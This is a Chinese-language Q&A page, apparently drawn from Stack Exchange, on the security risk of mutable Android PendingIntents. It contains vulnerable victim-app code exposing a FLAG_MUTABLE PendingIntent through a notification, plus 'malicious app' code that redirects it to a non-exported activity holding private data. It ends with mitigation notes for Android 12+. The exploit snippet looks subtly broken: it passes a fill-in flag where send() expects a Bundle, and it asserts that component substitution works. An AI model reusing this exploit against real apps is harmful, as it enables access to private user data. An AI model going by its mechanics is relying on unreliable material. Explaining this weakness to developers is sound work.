FLAG_MUTABLE标记的PendingIntent风险示例及利用场景技术问询
PendingIntent 可变风险的利用示例与代码解析
场景背景
当应用创建可变的PendingIntent(未显式设置FLAG_IMMUTABLE,Android 12之前默认可变)时,接收该PendingIntent的其他应用可通过fillIn()逻辑修改其内部Intent的未填充字段,进而访问受害应用中标记为android:exported="false"的非导出组件。以下是具体的受害应用示例、恶意利用代码及关键解析。
1. 受害应用代码示例
非导出敏感组件(Manifest配置)
受害应用有一个仅内部可访问的SecretActivity,用于展示敏感数据:
<activity android:name=".SecretActivity" android:exported="false" />
SecretActivity实现
public class SecretActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_secret); TextView secretTextView = findViewById(R.id.tv_secret_content); secretTextView.setText("用户隐私数据:XXX-XXXX-XXXX"); } }
创建可变PendingIntent的错误代码
受害应用在MainActivity中创建了一个可变的PendingIntent,并通过通知栏暴露:
// 构造基础Intent,未严格锁定目标组件 Intent baseIntent = new Intent("com.example.victim.ACTION_VIEW_CONTENT"); // 创建可变PendingIntent(Android 12前默认可变,此处显式指定FLAG_MUTABLE) PendingIntent riskyPendingIntent = PendingIntent.getActivity( this, 0, baseIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE ); // 将PendingIntent绑定到通知并发送,恶意应用可通过通知获取该PendingIntent Notification notification = new Notification.Builder(this, "default_channel") .setContentTitle("查看内容") .setContentText("点击打开") .setSmallIcon(R.drawable.ic_notification) .setContentIntent(riskyPendingIntent) .build(); NotificationManagerCompat.from(this).notify(1001, notification);
2. 恶意应用利用代码示例
恶意应用通过AccessibilityService或其他方式获取到受害应用的PendingIntent后,修改其内部Intent指向非导出的SecretActivity:
// 假设已获取到受害应用的PendingIntent对象:victimPendingIntent Intent maliciousIntent = new Intent(); // 明确指定受害应用的非导出组件 maliciousIntent.setComponent(new ComponentName( "com.example.victim", "com.example.victim.SecretActivity" )); // 调用send方法,利用fillIn逻辑替换原Intent的组件字段 victimPendingIntent.send( this, 0, maliciousIntent, null, null, null, Intent.FILL_IN_COMPONENT // 指定允许修改组件字段 );
3. 关键风险解析
- 核心问题:受害应用创建的PendingIntent带有
FLAG_MUTABLE标记,允许外部应用修改其内部Intent的核心字段(如component、action)。 - 权限绕过:PendingIntent是基于受害应用的上下文创建的,发送时会以受害应用的权限执行,因此能绕过
android:exported="false"的访问限制,直接启动非导出组件。 - Android 12+ 防护:Android 12及以后版本中,PendingIntent默认是不可变的(
FLAG_IMMUTABLE),若需可变必须显式声明,同时Lint会对未设置mutability标记的PendingIntent发出警告,强制开发者明确意图。
内容的提问来源于stack exchange,提问作者BamsBamx
相关产品推荐
相关产品推荐

